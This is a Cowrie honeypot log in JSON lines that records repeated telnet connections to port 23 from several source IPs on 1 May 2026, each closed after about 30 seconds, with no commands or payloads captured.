{"eventid":"cowrie.session.closed","duration":30.132495641708374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:58.052631Z","src_ip":"81.30.157.18","session":"f08b8516bb0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73487401008606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:58.066025Z","src_ip":"81.30.157.18","session":"8204eb46e118","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.690934419631958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:58.071368Z","src_ip":"173.249.44.46","session":"27191e3170f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.618088483810425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:58.075047Z","src_ip":"81.30.157.18","session":"e3ce4276fe15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.822089672088623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:58.078388Z","src_ip":"37.187.24.227","session":"fd9a3df19c59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73130989074707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:58.151449Z","src_ip":"46.101.32.143","session":"9094877666d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":57488,"dst_ip":"159.203.135.109","dst_port":23,"session":"c45d6b1f16da","protocol":"telnet","message":"New connection: 85.208.100.77:57488 (159.203.135.109:23) [session: c45d6b1f16da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:58.268465Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":37296,"dst_ip":"159.203.135.109","dst_port":23,"session":"5868f0fc0a19","protocol":"telnet","message":"New connection: 46.101.32.143:37296 (159.203.135.109:23) [session: 5868f0fc0a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:58.468925Z"}
{"eventid":"cowrie.session.closed","duration":31.002748727798462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:58.474823Z","src_ip":"81.30.157.18","session":"5515dff8c35e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":32884,"dst_ip":"10.17.0.5","dst_port":23,"session":"5987a03ecb78","protocol":"telnet","message":"New connection: 103.115.172.252:32884 (10.17.0.5:23) [session: 5987a03ecb78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:58.489801Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":58242,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2e805c5b7c5","protocol":"telnet","message":"New connection: 85.208.100.77:58242 (159.203.135.109:23) [session: f2e805c5b7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:58.606192Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":41966,"dst_ip":"159.203.135.109","dst_port":23,"session":"066873348167","protocol":"telnet","message":"New connection: 81.30.157.18:41966 (159.203.135.109:23) [session: 066873348167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:58.903157Z"}
{"eventid":"cowrie.session.closed","duration":30.553084135055542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:59.056325Z","src_ip":"147.135.136.77","session":"f418abe42a7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.006210327148438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:59.120477Z","src_ip":"81.30.157.18","session":"596ddb81a85a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":47386,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9c3978315d5","protocol":"telnet","message":"New connection: 173.249.44.46:47386 (159.203.135.109:23) [session: a9c3978315d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:59.246409Z"}
{"eventid":"cowrie.session.closed","duration":30.91392707824707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:59.305161Z","src_ip":"85.208.100.77","session":"54ada168c5e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.310731649398804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:59.472865Z","src_ip":"168.119.91.149","session":"f6bd8ab2b810","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":48078,"dst_ip":"159.203.135.109","dst_port":23,"session":"f957ab572614","protocol":"telnet","message":"New connection: 37.187.24.227:48078 (159.203.135.109:23) [session: f957ab572614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:59.477849Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":60160,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ab1f12587d7","protocol":"telnet","message":"New connection: 85.208.100.77:60160 (159.203.135.109:23) [session: 8ab1f12587d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:59.594642Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55822,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f44aa5afec3","protocol":"telnet","message":"New connection: 168.119.91.149:55822 (159.203.135.109:23) [session: 3f44aa5afec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:00.091118Z"}
{"eventid":"cowrie.session.closed","duration":30.570677518844604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:00.117109Z","src_ip":"46.101.32.143","session":"600897fa6db2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.747583389282227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:00.239048Z","src_ip":"81.30.157.18","session":"84ee87bcc5b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":53502,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9e5977cb5e0","protocol":"telnet","message":"New connection: 149.102.133.101:53502 (159.203.135.109:23) [session: b9e5977cb5e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:00.329408Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":41978,"dst_ip":"159.203.135.109","dst_port":23,"session":"aec77f92feae","protocol":"telnet","message":"New connection: 81.30.157.18:41978 (159.203.135.109:23) [session: aec77f92feae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:00.637140Z"}
{"eventid":"cowrie.session.closed","duration":30.721402168273926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:01.085059Z","src_ip":"149.102.133.101","session":"312cd983b77a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76646614074707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:01.104648Z","src_ip":"46.101.32.143","session":"7b7f2ae672c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.836747407913208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:01.126455Z","src_ip":"85.208.100.77","session":"6aebe0c551a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68033790588379,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:01.133012Z","src_ip":"81.30.157.18","session":"e2954614fe04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":41980,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ac421ad5704","protocol":"telnet","message":"New connection: 81.30.157.18:41980 (159.203.135.109:23) [session: 3ac421ad5704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:01.140398Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":41990,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad78607242ab","protocol":"telnet","message":"New connection: 81.30.157.18:41990 (159.203.135.109:23) [session: ad78607242ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:01.147125Z"}
{"eventid":"cowrie.session.closed","duration":31.14484691619873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:01.153156Z","src_ip":"46.101.32.143","session":"6c36f17bc8d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":50332,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2f30c22fb24","protocol":"telnet","message":"New connection: 82.163.78.83:50332 (159.203.135.109:23) [session: b2f30c22fb24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:01.311213Z"}
{"eventid":"cowrie.session.closed","duration":30.69690704345703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:01.340749Z","src_ip":"81.30.157.18","session":"abe80da73d20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.403149843215942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:01.359147Z","src_ip":"147.135.136.77","session":"e8c434dfddfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.386233806610107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:01.488688Z","src_ip":"168.119.91.149","session":"6ae2a87c7942","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":53504,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d5e7fa33ca5","protocol":"telnet","message":"New connection: 149.102.133.101:53504 (159.203.135.109:23) [session: 9d5e7fa33ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:01.953528Z"}
{"eventid":"cowrie.session.closed","duration":30.380419492721558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:02.081461Z","src_ip":"149.102.133.101","session":"7eacba8dc41f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.865785121917725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:02.145811Z","src_ip":"206.189.139.22","session":"dbeacee998cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":54280,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f7f97238e58","protocol":"telnet","message":"New connection: 37.187.24.227:54280 (159.203.135.109:23) [session: 3f7f97238e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:02.332906Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":51240,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed1f0665570c","protocol":"telnet","message":"New connection: 82.163.78.83:51240 (159.203.135.109:23) [session: ed1f0665570c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:02.406350Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":41996,"dst_ip":"159.203.135.109","dst_port":23,"session":"c63c4617d037","protocol":"telnet","message":"New connection: 81.30.157.18:41996 (159.203.135.109:23) [session: c63c4617d037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:02.552970Z"}
{"eventid":"cowrie.session.closed","duration":30.977339029312134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:02.644690Z","src_ip":"168.119.91.149","session":"c79a7e4ff9d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.356263160705566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:03.028492Z","src_ip":"168.119.91.149","session":"04c0051d8cf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.139305353164673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:03.062380Z","src_ip":"46.101.32.143","session":"5e5120d6ef59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65547227859497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:03.070029Z","src_ip":"85.208.100.77","session":"becebdcdfe47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":42186,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d508dcd8360","protocol":"telnet","message":"New connection: 46.101.32.143:42186 (159.203.135.109:23) [session: 8d508dcd8360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:03.101751Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":52080,"dst_ip":"159.203.135.109","dst_port":23,"session":"557092f97b6a","protocol":"telnet","message":"New connection: 82.163.78.83:52080 (159.203.135.109:23) [session: 557092f97b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:03.179461Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":42000,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3eb93b25500","protocol":"telnet","message":"New connection: 81.30.157.18:42000 (159.203.135.109:23) [session: e3eb93b25500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:03.373214Z"}
{"eventid":"cowrie.session.closed","duration":31.110651969909668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:03.379758Z","src_ip":"81.30.157.18","session":"ab136c7960fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":56908,"dst_ip":"159.203.135.109","dst_port":23,"session":"570b041440ab","protocol":"telnet","message":"New connection: 37.187.24.227:56908 (159.203.135.109:23) [session: 570b041440ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:03.462882Z"}
{"eventid":"cowrie.session.closed","duration":30.58976650238037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:03.473184Z","src_ip":"168.119.91.149","session":"a897fb21c202","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.680935621261597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:03.492449Z","src_ip":"168.119.91.149","session":"08758f350dbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":52752,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab58049bba6d","protocol":"telnet","message":"New connection: 173.249.44.46:52752 (159.203.135.109:23) [session: ab58049bba6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:03.874636Z"}
{"eventid":"cowrie.session.closed","duration":30.276651859283447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:04.059416Z","src_ip":"37.187.24.227","session":"3031e843c778","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80674147605896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:04.100981Z","src_ip":"85.208.100.77","session":"0a1787dd2c37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.830993175506592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:04.130099Z","src_ip":"81.30.157.18","session":"ac52c94c6746","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":51812,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c636b242f99","protocol":"telnet","message":"New connection: 81.30.157.18:51812 (159.203.135.109:23) [session: 0c636b242f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:04.240499Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":58764,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bfbf573fd24","protocol":"telnet","message":"New connection: 149.102.133.101:58764 (159.203.135.109:23) [session: 0bfbf573fd24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:04.579885Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":59772,"dst_ip":"159.203.135.109","dst_port":23,"session":"161c0b08f3df","protocol":"telnet","message":"New connection: 37.187.24.227:59772 (159.203.135.109:23) [session: 161c0b08f3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:04.585095Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":59956,"dst_ip":"159.203.135.109","dst_port":23,"session":"0531ad27c3f6","protocol":"telnet","message":"New connection: 37.187.24.227:59956 (159.203.135.109:23) [session: 0531ad27c3f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:04.652227Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":53912,"dst_ip":"159.203.135.109","dst_port":23,"session":"29425c430abb","protocol":"telnet","message":"New connection: 82.163.78.83:53912 (159.203.135.109:23) [session: 29425c430abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:04.687948Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":53062,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f422f8b134c","protocol":"telnet","message":"New connection: 82.163.78.83:53062 (159.203.135.109:23) [session: 8f422f8b134c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:04.831717Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55828,"dst_ip":"159.203.135.109","dst_port":23,"session":"c87f277b785a","protocol":"telnet","message":"New connection: 168.119.91.149:55828 (159.203.135.109:23) [session: c87f277b785a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:04.912804Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":51814,"dst_ip":"159.203.135.109","dst_port":23,"session":"963e9b0a407b","protocol":"telnet","message":"New connection: 81.30.157.18:51814 (159.203.135.109:23) [session: 963e9b0a407b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:05.072610Z"}
{"eventid":"cowrie.session.closed","duration":30.600216150283813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:05.104975Z","src_ip":"81.30.157.18","session":"f4910b89f10e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":42240,"dst_ip":"159.203.135.109","dst_port":23,"session":"b55e0e76ef20","protocol":"telnet","message":"New connection: 85.208.100.77:42240 (159.203.135.109:23) [session: b55e0e76ef20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:05.421488Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":44662,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6a5830614bd","protocol":"telnet","message":"New connection: 46.101.32.143:44662 (159.203.135.109:23) [session: d6a5830614bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:05.434901Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":42524,"dst_ip":"159.203.135.109","dst_port":23,"session":"f419fc3561a3","protocol":"telnet","message":"New connection: 85.208.100.77:42524 (159.203.135.109:23) [session: f419fc3561a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:05.561525Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55842,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ddc28c13ecd","protocol":"telnet","message":"New connection: 168.119.91.149:55842 (159.203.135.109:23) [session: 2ddc28c13ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:05.656202Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":58768,"dst_ip":"159.203.135.109","dst_port":23,"session":"e04de050af61","protocol":"telnet","message":"New connection: 149.102.133.101:58768 (159.203.135.109:23) [session: e04de050af61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:05.756878Z"}
{"eventid":"cowrie.session.closed","duration":30.319925546646118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:06.068461Z","src_ip":"173.249.44.46","session":"a86211aaac50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.828765630722046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:06.079700Z","src_ip":"37.187.24.227","session":"bac00adebeeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43468689918518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:06.096862Z","src_ip":"85.208.100.77","session":"4e19980b5de5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76943564414978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:06.122675Z","src_ip":"46.101.32.143","session":"e9512233acf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":56300,"dst_ip":"159.203.135.109","dst_port":23,"session":"94e4e9178af6","protocol":"telnet","message":"New connection: 173.249.44.46:56300 (159.203.135.109:23) [session: 94e4e9178af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:06.212499Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":43806,"dst_ip":"159.203.135.109","dst_port":23,"session":"00a4b3743b33","protocol":"telnet","message":"New connection: 85.208.100.77:43806 (159.203.135.109:23) [session: 00a4b3743b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:06.320291Z"}
{"eventid":"cowrie.session.closed","duration":31.188796281814575,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:06.326035Z","src_ip":"206.189.139.22","session":"b295d7a1024d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.908567428588867,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:06.329710Z","src_ip":"37.187.24.227","session":"e05ec5328eab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":56560,"dst_ip":"159.203.135.109","dst_port":23,"session":"ede44ca5cedf","protocol":"telnet","message":"New connection: 173.249.44.46:56560 (159.203.135.109:23) [session: ede44ca5cedf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:06.422542Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":51820,"dst_ip":"159.203.135.109","dst_port":23,"session":"16be398c06c9","protocol":"telnet","message":"New connection: 81.30.157.18:51820 (159.203.135.109:23) [session: 16be398c06c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:06.646081Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":43824,"dst_ip":"159.203.135.109","dst_port":23,"session":"b211a4d5b7f8","protocol":"telnet","message":"New connection: 206.189.139.22:43824 (159.203.135.109:23) [session: b211a4d5b7f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:06.745111Z"}
{"eventid":"cowrie.session.closed","duration":30.66064476966858,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:07.046446Z","src_ip":"81.30.157.18","session":"71e78ec2d3e9","protocol":"telnet"}
